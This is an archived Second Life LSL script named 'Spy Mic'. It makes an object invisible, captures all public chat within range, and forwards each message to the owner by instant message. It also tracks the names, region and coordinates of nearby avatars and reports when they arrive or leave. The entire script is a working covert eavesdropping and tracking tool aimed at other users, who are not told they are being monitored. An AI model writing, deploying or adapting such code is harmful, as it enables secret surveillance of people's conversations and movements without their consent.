1 // CATEGORY:Chat
  2 // DESCRIPTION:Spy Mic.lsl
  3 // ARCHIVED BY:Ferd Frederix
  4 
  5 key crea; // ID del receptor
  6 integer dist = 10; // radio de la esfera del radar en metros, valores posibles dedse 0.1 hasta 96.0
  7 
  8 string text;
  9 integer power = 1;
 10 list myListOLD;
 11 list myList;
 12 
 13 default {
 14     state_entry() {
 15         crea = llGetOwner();
 16         llListen( 0, "", NULL_KEY, "" );
 17         myListOLD=[];
 18         llSetAlpha(0.0, ALL_SIDES);
 19     }
 20      on_rez(integer startup_param) { llResetScript(); }
 21     no_sensor() {myListOLD=[];}
 22     sensor(integer total_number) {
 23         integer i;
 24         myList=[];
 25         for (i = 0; i < total_number; i++) { myList = (myList=[]) + myList + [llKey2Name(llDetectedKey(i))];}        
 26         for (i = 0; i < total_number; i++) {
 27             if (llListFindList(myListOLD, [llList2String(myList,i)])==-1) {
 28                if (llKey2Name(llDetectedKey(i)) != "") {llInstantMessage(crea, llKey2Name(llDetectedKey(i)) + " is at " + llGetRegionName() + ": " + (string)llDetectedPos(i));}
 29         }   }
 30         
 31         for (i = 0; i < llGetListLength(myListOLD); i++) {
 32             if (llListFindList(myList, [llList2String(myListOLD,i)])==-1) {
 33                 if (llList2String(myListOLD,i)!=""){llInstantMessage(crea, llList2String(myListOLD,i) + " is out of signal.");}
 34         }   }
 35         
 36         myListOLD=[];
 37         for (i = 0; i < total_number; i++) { myListOLD = (myListOLD=[]) + myListOLD + [llKey2Name(llDetectedKey(i))]; } 
 38     }
 39     
 40     listen(integer channel, string name, key id, string message) {   
 41         if (id == crea) {
 42             if (message == "help") { llInstantMessage(crea, "Aviable commands: hi | bye | ocultar | ver el bug | distancia X | help"); }
 43             if (message == "hi") { power=0; llSensorRemove(); llInstantMessage(crea, "Spy mic stopped."); }
 44             else if (message == "bye") { power=1; llSensorRepeat("", "", AGENT, dist, PI, 3); llInstantMessage(crea, "Spy mic started within " + (string)dist+"m");}
 45             else if (message == "ocultar") { llSetAlpha(0.0, ALL_SIDES); llInstantMessage(crea, "Hidden spy mic."); }
 46             else if (message == "ver el bug") { llSetAlpha(1.0, ALL_SIDES); llInstantMessage(crea, "Visible soy mic."); }
 47             else if (llGetSubString(message,0,8) == "distancia") {dist=(integer)llGetSubString(message,10,-1); llInstantMessage(crea, "New distance: "+(string)dist+"m");if(power==1){llSensorRemove();llSensorRepeat("", "", AGENT, dist, PI, 3);}}
 48         }
 49         else if (power==1) { llInstantMessage(crea, llKey2Name(id) + ": " + message); }   
 50     }
 51 }
 52 
 53 // END //